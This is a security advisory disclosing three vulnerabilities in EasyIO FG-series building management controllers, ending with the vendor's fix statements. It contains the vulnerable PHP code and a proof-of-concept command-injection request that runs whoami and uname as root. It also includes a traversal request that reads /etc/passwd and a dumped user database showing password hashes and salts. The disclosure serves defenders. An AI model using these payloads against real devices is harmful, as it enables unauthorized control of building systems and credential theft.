SSD Advisory – EasyIO Multiple Vulnerabilities

Vulnerability Summary
The following advisory describes three (3) vulnerabilities that allow to an attacker to gain unauthenticated remote code execution. EasyIO provides products for Building Energy Management Systems. Low costs, high energy savings.
The three vulnerabilities found in EasyIO include:

  • Unauthenticated remote code execution
  • Unauthenticated database file download
  • Authenticated directory traversal vulnerability

The vulnerability affected the following products:

  • EasyIO FG Series, FG32
  • EasyIO FG Series, FG20

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Unauthenticated remote code execution vulnerability
Vulnerable code:
The %timeout parameter lack sanity check. The $timeout parameter will be executed as input from user. an attacker can insert malicious content to the $timeout parameter and log as root

{"data": "<?php
//vim: ts=2 sw=2
class BacnetController {
	public function run() {
		session_start();
		$method = $_SERVER['REQUEST_METHOD'];
		if ($method == "POST") {
				$this->doPost();
		}
		else if ($method == "GET") {
			$this->doGet();
		}
	}
	protected function doGet() {
		$action = $_GET['action'];
		$response = array();
		if ($action == 'discoverDevices') {
			$lowLimit = $_GET['lowLimit'];
			$highLimit = $_GET['highLimit'];
			$timeout = $_GET['timeout']; //1 vuln parameter
			$cmd = 'bacnet device -d all ' . $lowLimit . ' ' . $highLimit . ' ' . $timeout; //2
			// $cmd = 'bacnet device -d mstp ' . $lowLimit . ' ' . $highLimit . ' ' . $timeout;
			$output = array();
			exec($cmd, $output); //3
			array_push($response, 'SUCCESS:', '');
			$response = array_merge($response, $output);
			die(implode("\
			", $response));
		}
		else if ($action == 'discoverObjects') {
			$deviceId = $_GET['deviceId'];
			$linkType = $_GET['linkType'];
			if (strcasecmp($linkType, "MSTP") == 0)
				$cmd = 'bacnet point -d mstp ' . $deviceId;
			else if (strcasecmp($linkType, "B/IP") == 0 || strcasecmp($linkType, "IP") == 0)
				$cmd = 'bacnet point -d ip ' . $deviceId;
			else {
				error_log("invalid link type: " . $linkType);
				$cmd = 'bacnet point -d mstp ' . $deviceId;
			}
			$output = array();
			exec($cmd, $output);
			array_push($response, 'SUCCESS:', '');
			$response = array_merge($response, $output);
			die(implode("\
			", $response));
		}
		else
			die('ERROR: not supported action: ' . $action);
	}
	protected function doPost() {
	}
}
$controller = new BacnetController();
$controller->run();
?>
","actionPermitted": "true","home_page": ""}

Proof of Concept
An attacker sending the following request:

GET /sdcard/cpt/scripts/bacnet.php?action=discoverDevices&lowLimit=0&highLimit=0&timeout=0%26whoami%26uname%20-a%26ls HTTP/1.1
Host: 192.168.0.16
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36
Referer: http://192.168.0.16/sdcard/cpt/app/graphic.php?grname=Admin.gr
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Connection: close
Content-Length: 1

Will receive from the server the following response:

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2016 08:31:43 GMT
Server: Embedthis-Appweb/3.3.2
Content-Length: 175
Content-Type: text/html
Connection: close
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Last-Modified: Mon, 07 Mar 2016 08:31:43 GMT
Content-type: text/html
X-Powered-By: PHP/5.3.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: PHPSESSID=f694a07ca04f27cea0dffa9e6a44ade1; path=/
root
Linux FG32-20 2.6.29.2-V2.8 #36 Wed Nov 12 15:06:43 EST 2014 armv4tl unknown
!!bacnet: Timeout is out of (1 ~ 43200) range
bacnet.php
deployment.php
os_info.php

Unauthenticated database file download
The database file is not protected from direct download if the “right” URL is provided, the database file includes sensitive information, usernames and passwords as well as configuration settings of the remote device.
The URL where the database is located at:
http://192.168.0.16/sdcard/cpt/app/cpt-web.db
Which when accessed will return the following content when loaded into sqlite:

sqlite> .databases
seq name file
--- --------------- ----------------------------------------------------------
0 main /tmp/cpt-web.db
1 temp
sqlite> .tables
permissions users
sqlite> .schema
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name varchar(255) NOT NULL UNIQUE,
salt char(16) NOT NULL,
checksum char(56) NOT NULL,
is_admin char(1) DEFAULT 'f',
created_at datetime default current_timestamp
, utility_enabled char(1) DEFAULT 'f', home_page varchar(255), system_enabled char(1) DEFAULT 'f');
CREATE TABLE permissions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
user_id INTEGER NOT NULL,
path varchar(255) NOT NULL,
readable char(1) DEFAULT 't',
writable char(1) DEFAULT 't',
created_at datetime default current_timestamp,
FOREIGN KEY(user_id) REFERENCES users(id)
);
sqlite> select * from users;
1|admin|hNsq25I1KmRfSCOu|dc7b9f203aa5cf1bwe33d5fc126cd783f98595e9|t|1970-01-01 00:09:24|t||t
2|user|2PuRbt9ogdHGS10y|1b5ff0de0610cc42b27cg833d46eb798a1ff9f22|f|2015-03-16 05:47:00|f|Admin.gr|f

‘checksum’ column is created based on the user supplied password and the ‘salt’ (found in the salt column).
Authenticated directory traversal vulnerability
Vulnerable code: grdata.php

{"data": "<?php
//vim: ts=2 sw=2
include_once "db.php";
include_once "base_controller.php";
class GrdataController extends BaseController {
	protected function signinRequired() {
		return true;
	}
	protected function doAjaxGet() {
		$response = array();
		$_SESSION['curGrPath'] = $_GET['grName'];
		if (!$this->isReadable()) {
			$this->renderAjaxError($response, "permission denied");
			// $_SESSION['flash'] = \"permission denied\";
			// $this->redirect($this->makeUrl(\"app/landing_page.php\"));
		}
		$grName = $_GET['grName'];
		$file = file_get_contents('./grdata/' . $grName); //vuln call to file_get_contents()
		if ($file) {
			$response['data'] = $file;
			$u = $this->curUser();
			$response['actionPermitted'] = $u->can('write', $_GET['grName']) ? 'true' : 'false';
			if (!$u->isAdmin())
				$response['grBlackList'] = implode(",", $u->grBlackList());
				$response['home_page'] = $u->attr('home_page');
				$this->renderAjaxSuccess($response);
		}
		else {
			$this->renderAjaxError($response, "failed to read data file: $grName");
		}
	}
}
$controller = new GrdataController();
$controller->run();
?>
","actionPermitted": "true","home_page": ""

Proof of Concept
An attacker sending the following request:

GET /sdcard/cpt/app/grdata.php?grName=../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.0.16
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36
Referer: http://192.168.0.16/sdcard/cpt/app/graphic.php?grname=Admin.gr
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=7384531ce6f444710b42106a07b91e4c; PHPSESSID=7384531ce6f444710b42106a07b91e4c
Connection: close

Will receive from the server the following response:

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2016 03:21:24 GMT
Server: Embedthis-Appweb/3.3.2
Content-Length: 390
Content-Type: text/html
Connection: close
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Last-Modified: Mon, 07 Mar 2016 03:21:24 GMT
Content-type: text/html
X-Powered-By: PHP/5.3.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
{"data": "root:r2PJOcraF5UZg:0:0:root:/:/bin/sh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
nobody:*:99:99:Nobody:/:
admin:tBVL4DWVHEbys:500:500:admin:/:/bin/sh
sdcard:uu7RndQCc/s.Q:501:501:sdcard:/sdcard:/bin/sh
guest:1hK129p3FfneE:502:502:guest:/mnt/users/guest:/bin/sh
webuser:xLhgTub5K6Css:503:503:webuser:/mnt/appweb/web/:/bin/sh
","actionPermitted": "true","home_page": ""}

Vendor Response
Unauthenticated remote code execution – This reported issue has been fixed in this week’s release (CPT tool , dated 11th Nov 2016). We have also fix all possible codes that can cause this issue.
Unauthenticated database file download – This had been fixed in previous version of FG firmware, we introduced an appweb configuration to fix this issue in around Feb, 2015. You can test this with our latest firmware or you could send this note to the person who reported this.
Authenticated directory traversal vulnerability – This has been fixed in this week’s release(CPT tool , dated 11th Nov 2016). I also fixed all possible codes that can cause this issue.